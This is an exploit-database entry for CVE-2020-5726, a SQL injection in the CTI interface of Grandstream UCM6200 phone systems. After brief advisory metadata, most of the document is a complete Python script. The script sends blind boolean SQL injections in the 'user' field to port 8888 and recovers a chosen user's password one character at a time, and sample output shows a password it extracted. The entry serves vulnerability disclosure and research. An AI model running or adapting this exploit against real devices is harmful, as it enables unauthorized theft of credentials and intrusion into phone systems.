Grandstream UCM6200 Series CTI Interface SQL Injection

2020.04.02
Credit: Jacob Baines
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

# Exploit Title: Grandstream UCM6200 Series CTI Interface - 'user_password' SQL Injection # Date: 2020-03-30 # Exploit Author: Jacob Baines # Vendor Homepage: http://www.grandstream.com/ # Software Link: http://www.grandstream.com/support/firmware/ucm62xx-official-firmware # Version: 1.0.20.20 and below # Tested on: Grandstream UCM6202 1.0.20.20 # CVE : CVE-2020-5726 # Grandstream UCM6200 Series CTI Interface SQL Injection Password Disclosure # Advisory: https://www.tenable.com/security/research/tra-2020-17 # Sample output: # # albinolobster@ubuntu:~$ python3 cti_injection.py --rhost 192.168.2.1 --user lolwat # [+] Reaching out to 192.168.2.1:8888 # [+] Password length 9 # [+] The password is LabPass1% import sys import time import json import struct import socket import argparse def send_cti_with_length(sock, payload): to_send = struct.pack('>I', len(payload)) to_send = to_send + payload sock.sendall(to_send) return recv_cti_with_length(sock) def recv_cti_with_length(sock): length = sock.recv(4) length = struct.unpack('>I', length)[0] response = sock.recv(length) return response top_parser = argparse.ArgumentParser(description='') top_parser.add_argument('--rhost', action="store", dest="rhost", required=True, help="The remote host to connect to") top_parser.add_argument('--rport', action="store", dest="rport", type=int, help="The remote port to connect to", default=8888) top_parser.add_argument('--user', action="store", dest="user", required=True, help="The user to brute force") args = top_parser.parse_args() print('[+] Reaching out to ' + args.rhost + ':' + str(args.rport)) length = 0 while length < 100: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((args.rhost, args.rport)) challenge_resp = send_cti_with_length(sock, b"action=challenge&user=" + args.user.encode('utf-8') + b"' AND LENGTH(user_password)=" + str(length).encode('utf-8') + b"--") inject_result = json.loads(challenge_resp) if (inject_result['status'] == 0): break else: length = length + 1 sock.close() if length == 100: print('[-] Failed to discover the password length') sys.exit(1) print('[+] Password length', length) password = '' while len(password) < length: value = 0x20 while value < 0x80: if value == 0x22 or value == 0x5c: temp_pass = password + '\\' temp_pass = temp_pass + chr(value) else: temp_pass = password + chr(value) temp_pass_len = len(temp_pass) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((args.rhost, args.rport)) challenge_resp = send_cti_with_length(sock, b"action=challenge&user=" + args.user.encode('utf-8') + b"' AND user_password LIKE \'" + temp_pass.encode('utf-8') + b"%' AND substr(user_password,1," + str(temp_pass_len).encode('utf-8') + b") = '" + temp_pass.encode('utf-8') + b"'--") inject_result = json.loads(challenge_resp) sock.close() if (inject_result['status'] == 0): password = temp_pass break else: value = value + 1 continue if value == 0x80: print('oh no.') sys.exit(0) print('[+] The password is', password)


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